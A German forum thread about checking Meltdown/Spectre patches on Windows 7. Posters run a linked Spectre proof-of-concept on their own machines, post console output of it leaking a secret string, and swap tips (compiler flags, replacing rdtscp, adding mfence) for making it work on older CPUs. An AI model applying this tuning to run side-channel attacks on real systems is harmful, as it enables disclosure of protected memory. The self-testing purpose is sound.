Meltdown/Spectre Powershell Verifikation Windows 7

Nein, das Datenvolumen für die Internetverbindung beträgt weniger als 4 GB pro Monat. Und da sind auch ein paar andere und wichtigere Dinge zu erledigen. Wenn man DSL gewöhnt ist, denkt man nicht daran und freut sich über niedrige Verbindungspreise. Es gibt aber ein paar Regionen, die bei der Digitalisierung ganz hinten runter gefallen sind.
Aber zurück zum Thema.
 
Noch ein kurzes Update: Hier gibt's den Code nochmal anders "gemoddet". Damit und den richtigen Compilereinstellungen (-std=c99 -O0 sowie für den Pentium 4 Prescot) klappt's dann auch auf dem E-350 von AMD.
https://gist.github.com/MarkJurich/319a23a7d362d355480fd7ac659c2618

Die Consolen-Ausgabe:
Code:
C:\Daten\Daten\C++\Spectre-Tester\bin\Release>Spectre-Tester.exe 110
Reading 40 bytes with Cache Hit Threshold of 110, addition value of 0 & multipli
er of 2:
Reading at malicious_x = 00001044... Success: 0x54='T' score=  2
Reading at malicious_x = 00001045... Success: 0x68='h' score=  2
Reading at malicious_x = 00001046... Success: 0x65='e' score=  2
Reading at malicious_x = 00001047... Success: 0x20=' ' score=  2
Reading at malicious_x = 00001048... Success: 0x4D='M' score=  2
Reading at malicious_x = 00001049... Success: 0x61='a' score=  2
Reading at malicious_x = 0000104a... Success: 0x67='g' score=  2
Reading at malicious_x = 0000104b... Success: 0x69='i' score=  2
Reading at malicious_x = 0000104c... Success: 0x63='c' score=  2
Reading at malicious_x = 0000104d... Success: 0x20=' ' score=  2
Reading at malicious_x = 0000104e... Success: 0x57='W' score=  2
Reading at malicious_x = 0000104f... Success: 0x6F='o' score=  2
Reading at malicious_x = 00001050... Success: 0x72='r' score=  2
Reading at malicious_x = 00001051... Success: 0x64='d' score=  2
Reading at malicious_x = 00001052... Success: 0x73='s' score=  2
Reading at malicious_x = 00001053... Success: 0x20=' ' score=  2
Reading at malicious_x = 00001054... Success: 0x61='a' score=  2
Reading at malicious_x = 00001055... Success: 0x72='r' score=  2
Reading at malicious_x = 00001056... Success: 0x65='e' score=  2
Reading at malicious_x = 00001057... Success: 0x20=' ' score=  2
Reading at malicious_x = 00001058... Success: 0x53='S' score=  2
Reading at malicious_x = 00001059... Success: 0x71='q' score=  2
Reading at malicious_x = 0000105a... Success: 0x75='u' score=  2
Reading at malicious_x = 0000105b... Success: 0x65='e' score=  2
Reading at malicious_x = 0000105c... Success: 0x61='a' score=  2
Reading at malicious_x = 0000105d... Success: 0x6D='m' score=  2
Reading at malicious_x = 0000105e... Success: 0x69='i' score=  2
Reading at malicious_x = 0000105f... Success: 0x73='s' score=  2
Reading at malicious_x = 00001060... Success: 0x68='h' score=  2
Reading at malicious_x = 00001061... Success: 0x20=' ' score=  2
Reading at malicious_x = 00001062... Success: 0x4F='O' score=  2
Reading at malicious_x = 00001063... Success: 0x73='s' score=  2
Reading at malicious_x = 00001064... Success: 0x73='s' score=  2
Reading at malicious_x = 00001065... Success: 0x69='i' score=  2
Reading at malicious_x = 00001066... Success: 0x66='f' score=  2
Reading at malicious_x = 00001067... Success: 0x72='r' score=  1
Reading at malicious_x = 00001068... Success: 0x61='a' score=  2
Reading at malicious_x = 00001069... Success: 0x67='g' score=  2
Reading at malicious_x = 0000106a... Success: 0x65='e' score=  2
Reading at malicious_x = 0000106b... Success: 0x2E='.' score=  2

Q.E.D. :(

Der Absturz auf dem Core 2 Duo kommt von einem von diesem noch nicht verstandenen Maschinienbefehl (__rdtscp). Den kann man mit __rdtsc() ersetzen.
Die Zeitangaben sind wohl Taktzyklen. Zum Laufen bekomme ich die Demo auf dem Core2Duo aber immer noch nicht.
 
Setze vor "rdtsc" mal "mfence"! Habe es vorhin mit Pelles C getestet; gibt dann vernünftige Werte aus.
 
Kannst du mir das mit mfence erklären? Ich bin nicht sehr C-bewandert. Am Besten mit Beispielcode.

Auf dem Core-2-Duo klappt es mit den richtigen Compiler-Einstellungen auch:
Code:
C:\Temp\Spectre-Tester\bin\Release>Spectre-Tester.exe 84
Reading 40 bytes with Cache Hit Threshold of 84, addition value of 0 & multiplie
r of 2:
Reading at malicious_x = 000010CC... Success: 0xFF='?' score=  0
Reading at malicious_x = 000010CD... Success: 0x68='h' score=  2
Reading at malicious_x = 000010CE... Success: 0x65='e' score=  2
Reading at malicious_x = 000010CF... Success: 0x20=' ' score=  2
Reading at malicious_x = 000010D0... Success: 0x4D='M' score=  2
Reading at malicious_x = 000010D1... Success: 0x61='a' score= 10 (second best: 0
x09 score=  5)
Reading at malicious_x = 000010D2... Success: 0x67='g' score=  9 (second best: 0
x0E score=  2)
Reading at malicious_x = 000010D3... Success: 0x69='i' score=  2
Reading at malicious_x = 000010D4... Success: 0x63='c' score=  2
Reading at malicious_x = 000010D5... Success: 0x20=' ' score= 11 (second best: 0
x0A score=  3)
Reading at malicious_x = 000010D6... Success: 0x57='W' score=  2
Reading at malicious_x = 000010D7... Success: 0x6F='o' score=  2
Reading at malicious_x = 000010D8... Success: 0x72='r' score=  2
Reading at malicious_x = 000010D9... Success: 0x64='d' score=  2
Reading at malicious_x = 000010DA... Success: 0x73='s' score=  2
Reading at malicious_x = 000010DB... Success: 0x20=' ' score=  2
Reading at malicious_x = 000010DC... Success: 0x61='a' score=  2
Reading at malicious_x = 000010DD... Success: 0x72='r' score=  2
Reading at malicious_x = 000010DE... Success: 0x65='e' score=  2
Reading at malicious_x = 000010DF... Success: 0x20=' ' score=  2
Reading at malicious_x = 000010E0... Success: 0x53='S' score=  2
Reading at malicious_x = 000010E1... Success: 0x71='q' score=  2
Reading at malicious_x = 000010E2... Success: 0x75='u' score=  2
Reading at malicious_x = 000010E3... Success: 0x65='e' score=  9 (second best: 0
x0A score=  2)
Reading at malicious_x = 000010E4... Success: 0x61='a' score=  2
Reading at malicious_x = 000010E5... Success: 0x6D='m' score=  2
Reading at malicious_x = 000010E6... Success: 0x69='i' score=  2
Reading at malicious_x = 000010E7... Success: 0x73='s' score=  2
Reading at malicious_x = 000010E8... Success: 0x68='h' score=  2
Reading at malicious_x = 000010E9... Success: 0x20=' ' score= 13 (second best: 0
x02 score=  6)
Reading at malicious_x = 000010EA... Success: 0x4F='O' score=  2
Reading at malicious_x = 000010EB... Success: 0x73='s' score=  2
Reading at malicious_x = 000010EC... Success: 0x73='s' score=  2
Reading at malicious_x = 000010ED... Success: 0x69='i' score=  2
Reading at malicious_x = 000010EE... Success: 0x66='f' score=  2
Reading at malicious_x = 000010EF... Success: 0x72='r' score=  2
Reading at malicious_x = 000010F0... Success: 0x61='a' score=  2
Reading at malicious_x = 000010F1... Success: 0x67='g' score= 13 (second best: 0
x0E score=  4)
Reading at malicious_x = 000010F2... Success: 0x65='e' score=  9 (second best: 0
x0E score=  2)
Reading at malicious_x = 000010F3... Success: 0x2E='.' score=  2

Um mit diesem Angriff eine "sinnvolle" Auslesegeschwindigkeit für den Speicher realisieren zu können, braucht man eine ziemlich reproduzierbare Zeitmessung und reproduzierbare CPU-Verfügbarkeit. Sobald die CPU nicht im Leerlauf vor sich hintuckelt, sondern immer wieder von anderen Prozessen zwischendurch benutzt wird, wird die Trefferwahrscheinlichkeit ziemlich klein.
Demnach stiege die Verwundbarkeit eines Rechners mit der Anzahl der CPU-Kerne.
 
Euer Code wird ab sofort vom Windows Defender als Schadcode behandelt und kann ebenso nicht mehr in Visual Basic Umgebungen auf Windows Maschinen erstellt werden.
Der Grund dafür ist die Verwendung von Strings wie "Squeamish Ossifrage" oder "malicious_x = %p" im Code. Siehe:
https://www.heise.de/security/meldu...amm-zu-Spectre-als-boesartig-ein-3959995.html
Wer auch immer die Strings "Squeamish Ossifrage" oder "malicious_x = %p" in seinem Programm verwendet, darf sich seit Neuestem nicht wundern, dass Microsoft ihn oder sie als Schädlingsprogrammierer einstuft.
Schon beim Erstellen eines Programms in Visual Studio gibt es eine Fehlermeldung und der Defender blendet sich mit "Bedrohung gefunden" ein, ohne diese weiter aufzuschlüsseln. Echte potenzielle Angreifer dürften sich durch solche Fisimatenten wohl kaum aufhalten lassen – und wer würde denn auch schon ein verräterisches "malicious_x" auf dem Display des Opfersystem ausgeben wollen?

Allerdings sind eure Code-Debatten hier in dem Thema auch Offtopic, da es um eine zuverlässige Methode ging wie User das vorhanden sein eines Patches mit Windows Boardmitteln überprüfen können. Eure Versuche gehören hier nicht in diese Kategorie und verschlechtern das Verständnis des Threadthemas enorm. Kann man das bitte auslagern, jetzt sowieso, da diese Codes unter Windows nicht mehr lauffähig sind ohne Virenwarnung?
 
Ich kann die Meldung von Herrn Stiller nicht bestätigen. Läuft noch alles, aber halt auf einem obsoleten x86-Windows 7.

Ich teile auch nicht die Meinung, dass die Debatten Off-Topic sind. Ich will / wollte wissen, ob eine Gefahr für meinen Rechner besteht. Da weder AMD eine vollständige Liste betroffener Produkte heraus gegeben hat (, die von Intel offensichtlich Lücken enthält), noch Microsoft einen realen Test anbietet, muss man wohl selbst mal Hand anlegen.
 
Ich teile auch nicht die Meinung, dass die Debatten Off-Topic sind. Ich will / wollte wissen, ob eine Gefahr für meinen Rechner besteht.
Das ist nur überhaupt nicht das Thema hier. Hier geht es lediglich darum zu verifizieren ob Microsoft die Patches auf einem System eingespielt hat oder nicht und wie man das ohne externe Tools überprüfen kann.
 
Windows 7 Patch vom 30.03.2018 KB 4100480 um die Bugs des vorherigen Meltdown Updates zu fixen.
https://windowsreport.com/kb4100480/

Es gibt keine Änderung der Ausgabe für das Powershell-Script nach einspielen des Patches auf meinem System.
 
Bei mir genauso. Da hat der patch auch für unvorhergesehene abstürze gesorgt -> wieder runter -> läuft wieder
 
Zurück
Oben Unten